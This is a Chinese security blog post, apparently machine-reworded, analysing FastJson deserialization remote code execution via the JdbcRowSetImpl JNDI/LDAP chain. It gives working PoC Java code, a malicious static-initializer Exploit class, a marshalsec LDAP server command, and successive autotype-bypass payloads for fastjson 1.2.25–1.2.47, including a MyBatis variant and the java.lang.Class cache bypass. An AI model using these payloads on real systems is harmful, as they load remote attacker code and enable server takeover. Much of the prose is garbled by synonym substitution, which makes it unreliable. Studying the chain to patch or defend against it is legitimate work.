摘要
FastJson JdbcRowSetImpl 链分析,是Java安全性的重要话题。这个链的应用非常广泛,几乎没有限制。但是,它的危害也非常大。我们必须认真对待,以保护我们的系统安全。
正文
Java安全性之FastJson JdbcRowSetImpl 链分析
Java安全性之FastJson JdbcRowSetImpl 链分析
0x00 序言
续上文的Fastjson TemplatesImpl链分析,然后来学习培训JdbcRowSetImpl
运用链,JdbcRowSetImpl
的运用链在具体应用中比较普遍,这一链基本上没啥限定标准,只必须Json.parse(input)
就可以开展指令实行。
0x01 系统漏洞剖析
运用限定
最先而言说限定,根据JNDI RMI或JDNI LADP开展进攻,会出现一定的JDK版本号限定。
RMI运用的JDK版本号≤ JDK 6u132、7u122、8u113
LADP运用JDK版本号≤ 6u211 、7u201、8u191
进攻步骤
- 最先是这一lookup(URI)主要参数可控性
- 网络攻击操纵URI主要参数为特定为故意的一个RMI服务项目
- 网络攻击RMI网络服务器向总体目标回到一个Reference目标,Reference目标中特定某一用心结构的Factory类;
- 总体目标在开展
lookup()
实际操作时,会动态性载入并创建对象Factory类,然后启用factory.getObjectInstance()
获得外界远程控制目标案例; - 网络攻击能够 在Factory类文档的静态代码块处载入恶意程序,做到RCE的实际效果;
JDNI引入关键点
简易剖析一下lookup主要参数可控性后,怎样来到RCE.
启用链:
- -> RegistryContext.decodeObject()
- -> NamingManager.getObjectInstance()
- -> factory.getObjectInstance()
- -> NamingManager.getObjectFactoryFromReference()
- -> helper.loadClass(factoryName);
loadclass开展创建对象,开启静态代码块的Runtime代码运行命令实行。
调节剖析
危害版本号:fastjson <= 1.2.24
payload:
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/Exploit", "autoCommit":true}
过去文的TemplatesImpl链分析中获知FastJson在反序列化的时候会去启用get、set、is方式 。
- @type:总体目标反序列化类名;
- dataSourceName:RMI认证中心关联故意服务项目;
- autoCommit:在Fastjson JdbcRowSetImpl链中反序列化时,会去启用setAutoCommit方式 。
深入分析fastjson怎样分析可查询Fastjson TemplatesImpl链分析文章内容,再度不做赘诉。
运行LDAP服务器端
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:80/#Exploit 1389
Exploit编码,需将编码编写出class文档随后挂在到web中
import java.io.IOException;
public class Exploit {
public Exploit() {
}
static {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (IOException e) {
e.printStackTrace();
}
}
}
POC编码:
package com.nice0e3;
import com.alibaba.fastjson.JSON;
public class POC {
public static void main(String[] args) {
// String PoC = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"rmi://127.0.0.1:1099/refObj\", \"autoCommit\":true}";
String PoC = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\", \"autoCommit\":true}";
JSON.parse(PoC);
}
}
见到payload中的dataSourceName
主要参数在分析情况下则会启用setDataSourceName
对DataSourceNamece
自变量开展取值,来见到编码
而autoCommit
也一样会启用setAutoCommit
setAutoCommit
方式 启用this.connect();
lookup中则是传到了this.getDataSourceName()
,回到dataSource自变量內容。而这一dataSource內容则是在前边setDataSourceName
方式 中开展设定的,该主要参数是可控性的。因此 能够 开展JDNI引入进而做到指令实行。
运用链
- -> JdbcRowSetImpl.execute()
- -> JdbcRowSetImpl.prepare()
- -> JdbcRowSetImpl.connect()
- -> InitialContext.lookup(dataSource)
而在Fastjson JdbcRowSetImpl 链运用中,则是运用了后半部。
0x02 绕开方法
1.2.25版本号修补
先将Fastjson部件升級到1.2.25版本号后开展推送payload,查询是不是可以运用取得成功。
修补修改:
- 自从1.2.25 起 autotype 默认设置为False
- 提升 checkAutoType 方式 ,在该方式 中开展信用黑名单校检,另外提升授权管理体制
Fastjson AutoType表明
依据官方网文本文档打开AutoType的方法,假定不打开该作用是没法开展反序列化的。由于默认设置授权管理是空的,必须自定。授权管理的绕开基本上不太可能,都是以信用黑名单做为通道。授权管理必须加上,而信用黑名单中则是内置在Fastjson中。
1、JVM运行主要参数
-Dfastjson.parser.autoTypeSupport=true
2、编码中设定
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
下边看来编码,这儿应用了IDEA中的jar包比照作用
能够 见到DefaultJSONParser
推送了变化,在这儿多了一个checkAutoType
方式 去做校检。
跟踪方式 查询
前边会开展授权管理的校检,假如配对中得话启用loadClass载入,回到一个Class目标。 这儿默认设置授权管理的目录为空。
后边这则是会故意类的信用黑名单开展配对,假如载入类的前边包括信用黑名单所界定的标识符则抛出异常。
1.2.25-1.2.41 绕开
package com.nice0e3;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class POC {
public static void main(String[] args) {
//ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String PoC = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\", \"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\", \"autoCommit\":true}";
JSON.parse(PoC);
}
}
先来调节不打开的状况,前边依然便会解析xml信用黑名单对class开展取值,但最终这一会去检验假如未打开,则立即抛出现异常,打开则会去回到。
将注解开启后,则立即回到class
指令实行取得成功。可是能够 见到前边的class是Lcom.sun.rowset.JdbcRowSetImpl
为何也会开启指令实行?
缘故取决于com.alibaba.fastjson.parser#TypeUtils.loadClass(typeName, this.defaultClassLoader);
方式 中,可跟踪查询。
这儿分析到內容假如为L
开始,;
末尾得话便会将这两个标识符清除,前边实际上还有一个[
。
1.2.42 修补方法
修补修改:密文信用黑名单改成HASH值,checkcheckAutoType
方式 加上L
和;
标识符过虑。
加密方法坐落于com.alibaba.fastjson.util.TypeUtils#fnv1a_64
可将开展撞击获得值。
1.2.42绕开方法
package com.nice0e3;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class POC {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String PoC = "{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\", \"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\", \"autoCommit\":true}";
JSON.parse(PoC);
}
}
在com.alibaba.fastjson.parser#checkcheckAutoType
里将L
和;
开展清除。这儿是运用了双写的方法,前边的标准将第一组L
和;
,开展清除,而在TypeUtils.loadclass
里将第二组內容清除。
1.2.43 修补方法
在1.2.43版本号中正确了LL开始的绕开开展了堵漏
//hash测算基本主要参数 long BASIC = -3750763034362895579L; long PRIME = 1099511628211L; //L开始,;末尾 if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) { //LL开始 if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(1)) * 1099511628211L == 655656408941810501L) { throw new JSONException("autoType is not support. " typeName); } className = className.substring(1, className.length() - 1); }
再度实行poc编码能够 见到出错了。
Exception in thread "main" com.alibaba.fastjson.JSONException: autoType is not support. LLcom.sun.rowset.JdbcRowSetImpl;; at com.alibaba.fastjson.parser.ParserConfig.checkAutoType(ParserConfig.java:914) at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:311) at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1338) at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1304) at com.alibaba.fastjson.JSON.parse(JSON.java:152) at com.alibaba.fastjson.JSON.parse(JSON.java:162) at com.alibaba.fastjson.JSON.parse(JSON.java:131) at com.nice0e3.POC.main(POC.java:12)
1.2.43 绕开方法
前边能够 见到[
也开展了清除,能够 从该地区开展下手。
public class POC { public static void main(String[] args) { ParserConfig.getGlobalInstance().setAutoTypeSupport(true); String PoC = "{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[, \"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\", \"autoCommit\":true}"; JSON.parse(PoC); }}
实行出错了,出错信息内容以下:
Exception in thread "main" com.alibaba.fastjson.JSONException: syntax error, expect {, actual string, pos 44, fastjson-version 1.2.43 at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:451) at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.parseRest(JavaBeanDeserializer.java:1261) at com.alibaba.fastjson.parser.deserializer.FastjsonASMDeserializer_1_JdbcRowSetImpl.deserialze(Unknown Source) at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:267) at com.alibaba.fastjson.parser.DefaultJSONParser.parseArray(DefaultJSONParser.java:729) at com.alibaba.fastjson.serializer.ObjectArrayCodec.deserialze(ObjectArrayCodec.java:183) at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:373) at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1338) at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1304) at com.alibaba.fastjson.JSON.parse(JSON.java:152) at com.alibaba.fastjson.JSON.parse(JSON.java:162) at com.alibaba.fastjson.JSON.parse(JSON.java:131) at com.nice0e3.POC.main(POC.java:12)
提醒缺乏了一个{
public class POC { public static void main(String[] args) { ParserConfig.getGlobalInstance().setAutoTypeSupport(true); String PoC = "{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{, \"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\", \"autoCommit\":true}"; JSON.parse(PoC); }}
1.2.44 修补方法
将[
开展限定,实际完成可自主查询。
再度实行前边的poc编码能够 见到出错了。
1.2.45绕开方法
运用标准必须总体目标服务器端存有mybatis的jar包,且版本号能以3.x.x系列<3.5.0的版本号。
public class POC {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String PoC = "{\"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\",\"properties\":{\"data_source\":\"ldap://127.0.0.1:1389/Exploit\"}}";
JSON.parse(PoC);
}
}
下边来剖析一下应用这一payload为何能绕开。实际上是依靠了org.apache.ibatis.datasource.jndi.JndiDataSourceFactory
开展绕开,org.apache.ibatis.datasource.jndi.JndiDataSourceFactory
并没有信用黑名单中。
这儿是对反序列化后的目标是org.apache.ibatis.datasource.jndi.JndiDataSourceFactory
传到properties
主要参数,则会去全自动启用setProperties
而在1.2.46没法实行取得成功,应该是对此类拉入了信用黑名单中。
1.2.25-1.2.47通杀
为什么说这儿标明为通杀呢,实际上这儿和前边的绕开方法不太一样,这儿是能够 立即绕开AutoTypeSupport
,就算关掉AutoTypeSupport
也可以立即实行取得成功。
先看来payload
public class POC { public static void main(String[] args) { String PoC = "{\n" " \"a\":{\n" " \"@type\":\"java.lang.Class\",\n" " \"val\":\"com.sun.rowset.JdbcRowSetImpl\"\n" " },\n" " \"b\":{\n" " \"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\n" " \"dataSourceName\":\"ldap://localhost:1389/badNameClass\",\n" " \"autoCommit\":true\n" " }\n" "}"; JSON.parse(PoC); }}
能够 见到payload和前边的payload结构不太一样,这儿来剖析一下。
这儿未打开AutoTypeSupport
不容易来到下边的黑与白名册分辨。
fastjson会应用 checkAutoType
方式 来检验@type
中带上的类,但此次大家传到的是一个java.lang.class
来见到com.alibaba.fastjson.parser.DefaultJSONParser.class#parseObject
方式 中
跟踪deserialze
方式 查询,这儿的deserialze
是MiscCodec#deserialze
上边编码会从objVal = parser.parse();
获得內容为com.sun.rowset.JdbcRowSetImpl
。来见到下边
if (clazz == Class.class) { return TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());}
这儿应用了TypeUtils.loadClass
涵数载入了strVal
,也就是JdbcRowSetlmpl,跟踪发觉会将其缓存文件在map中。
这儿的true主要参数意味着打开缓存文件,假如打开将故意类储存到mapping中
中断点赶到com.alibaba.fastjson.parser.DefaultJSONParser#checkAutoType
由于前边将com.sun.rowset.JdbcRowSetImpl
因此 这儿能获得到com.sun.rowset.JdbcRowSetImpl
该分辨不以true,进而绕开信用黑名单。
而事后则是和前边的一样,根据dataSourceName
开启针对的set方式 将dataSourceName
自变量开展设定,然后根据autoCommit
,开启setAutoCommit
开启lookup()
做到指令实行。
参照文章内容
https://xz.aliyun.com/t/9052
https://xz.aliyun.com/t/7027
https://kingx.me/Exploit-Java-Deserialization-with-RMI.html
http://wjlshare.com/archives/1526
0x03 末尾
实际上后边也有好多个绕开的方法后边再去做剖析,除此外也有一些BCEL来处理fastjson出不来网回显等层面都值得去思索和科学研究。
关注不迷路
扫码下方二维码,关注宇凡盒子公众号,免费获取最新技术内幕!
评论0